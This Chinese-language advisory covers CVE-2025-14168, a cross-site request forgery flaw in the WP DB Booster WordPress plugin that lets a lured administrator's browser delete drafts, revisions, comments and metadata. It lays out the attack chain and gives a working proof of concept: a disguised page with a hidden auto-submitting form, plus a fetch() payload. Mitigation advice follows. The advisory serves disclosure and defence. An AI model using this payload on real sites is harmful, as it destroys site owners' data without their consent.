CVE-2025-14168 CVSS 4.3 中危

CVE-2025-14168: WP DB Booster插件CSRF漏洞可删除数据库记录

披露日期: 2025-12-20

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-14168

漏洞类型

CSRF（跨站请求伪造）

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WP DB Booster插件 for WordPress

漏洞概述

WP DB Booster是WordPress的一个数据库优化插件。在该插件1.0.1及以下版本中，存在一个严重的跨站请求伪造（CSRF）漏洞。漏洞源于cleanup_all AJAX操作缺少必要的nonce验证机制，这使得攻击者能够利用已登录管理员的身份执行未经授权的数据库操作。攻击者可以通过诱使管理员点击恶意链接，在管理员不知情的情况下删除数据库中的草稿文章、修订版本、评论以及相关元数据。虽然该漏洞不直接导致敏感信息泄露，但可造成网站内容丢失和数据库损坏，对网站的完整性和可用性构成威胁。

技术细节

该漏洞的根本原因在于WP DB Booster插件的admin/class-wp-db-booster-admin.php文件中，cleanup_all AJAX处理函数缺少WordPress的nonce验证机制。WordPress推荐使用wp_verify_nonce()函数来验证AJAX请求的合法性，防止CSRF攻击。攻击者构造一个恶意网页或钓鱼邮件，包含针对cleanup_all端点的自动提交表单或JavaScript代码。当具有管理员权限的用户访问该页面或点击链接时，浏览器会自动携带有效的session cookie向目标站点的/wp-admin/admin-ajax.php发送请求。由于服务器端未验证请求中的nonce值，cleanup_all操作会被执行，导致指定的数据库记录被删除。攻击者通常指定删除post drafts、revisions、comments和metadata等数据。

攻击链分析

STEP 1

步骤1

攻击者创建包含恶意表单或JavaScript代码的钓鱼页面

STEP 2

步骤2

通过社会工程学手段诱导WordPress管理员访问该页面或点击恶意链接

STEP 3

步骤3

受害者浏览器自动向目标网站发送带有有效session cookie的AJAX请求

STEP 4

步骤4

目标服务器接收到cleanup_all请求，由于缺少nonce验证，执行删除操作

STEP 5

步骤5

数据库中的草稿、修订版、评论和元数据被恶意删除

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2025-14168 -->
<!-- Lure WordPress admin to visit this page -->
<html>
<head>
    <title>Click to continue</title>
</head>
<body>
    <h1>Loading...</h1>
    <form action="http://target-site/wp-admin/admin-ajax.php" method="POST" id="csrf-form" style="display:none;">
        <input type="hidden" name="action" value="cleanup_all">
        <input type="hidden" name="cleanup_type" value="all">
    </form>
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

<!-- Or use this JavaScript payload -->
<script>
fetch('http://target-site/wp-admin/admin-ajax.php', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'action=cleanup_all&cleanup_type=all'
});
</script>

影响范围

WP DB Booster <= 1.0.1

防御指南

临时缓解措施

在等待官方修复期间，可暂时禁用或删除WP DB Booster插件；启用WordPress的防护机制；对管理员进行安全意识培训，警惕可疑链接；使用安全插件如Wordfence提供额外保护。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表